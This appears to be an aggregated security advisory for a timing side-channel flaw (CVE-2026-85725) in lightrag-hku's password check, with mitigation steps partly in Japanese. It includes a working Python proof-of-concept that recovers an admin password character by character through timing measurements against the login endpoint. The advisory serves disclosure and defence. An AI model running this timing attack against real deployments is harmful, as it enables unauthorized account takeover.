Vulnerability in lightrag-hku (CVE-2026-85725)
Summary
Vulnerability in lightrag-hku (CVE-2026-85725). Confidential information can be exposed externally. Mitigation: upgrade to 1.5.5 or later.
Original description
The description as published by the source.
Summary
When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.
Details
# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
if stored_password.startswith("{bcrypt}"):
...
return bcrypt.checkpw(...) # constant-time OK
return stored_password == plain_password # NOT constant-time VULN
# Python == short-circuits on first mismatched byte
# Timing leaks: password length + individual characters
PoC
# Timing oracle: recover password char-by-char
import httpx, time, string
TARGET = "http://:9621/login"
USER = "admin"
def measure(pwd: str) -> float:
t = time.perf_counter()
httpx.post(TARGET, data={"username": USER, "password": pwd})
return time.perf_counter() - t
known = ""
for _ in range(32):
best = max(string.printable,
key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
known += best
print(f"Recovered: {known}")
Impact
Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.
Source: NIST National Vulnerability Database NVD GitHub Advisory
Auto-generated summary
Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.
A vulnerability tracked as CVE-2026-85725 has been found in lightrag-hku.
Confidential information can be exposed externally. CVSS score: 5.9/10.
What to do: upgrade lightrag-hku to 1.5.5 or later.
If unsure, ask your IT team or search "lightrag-hku CVE-2026-85725" on the vendor's site.
CVE-2026-85725 (lightrag-hku) — CWE-208 / CVSS v3 5.9
Attack vector: remote (network-reachable) / unauthenticated / no user interaction
Patched: 1.5.5 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.
A vulnerability (CWE-208) exists in lightrag-hku.
Check the vendor advisory for the affected versions of lightrag-hku.
Severity: Medium (CVSS 5.9/10). Confidential information can be exposed externally.
Update to 1.5.5.
Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.
Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'lightrag-hku' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.
Response actions
Concrete steps and command examples for SOC/SRE teams to execute in order
-
1Identify exposure identify
grep -r 'lightrag-hku' . | grep -v node_modulesリポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で
lightrag-hkuを grep し、稼働しているサービス・バージョンを把握する。 -
2Apply patch patch
Upgrade lightrag-hku to 1.5.5ステージング環境で 1.5.5 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。
-
3Post-deployment verification verify
Confirm patched version is live in productionパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。
Affected packages
References
- advisory nvd.nist.gov
- advisory github.com
- package github.com
- package pypi.org
- web github.com
- web github.com
- web github.com
- web github.com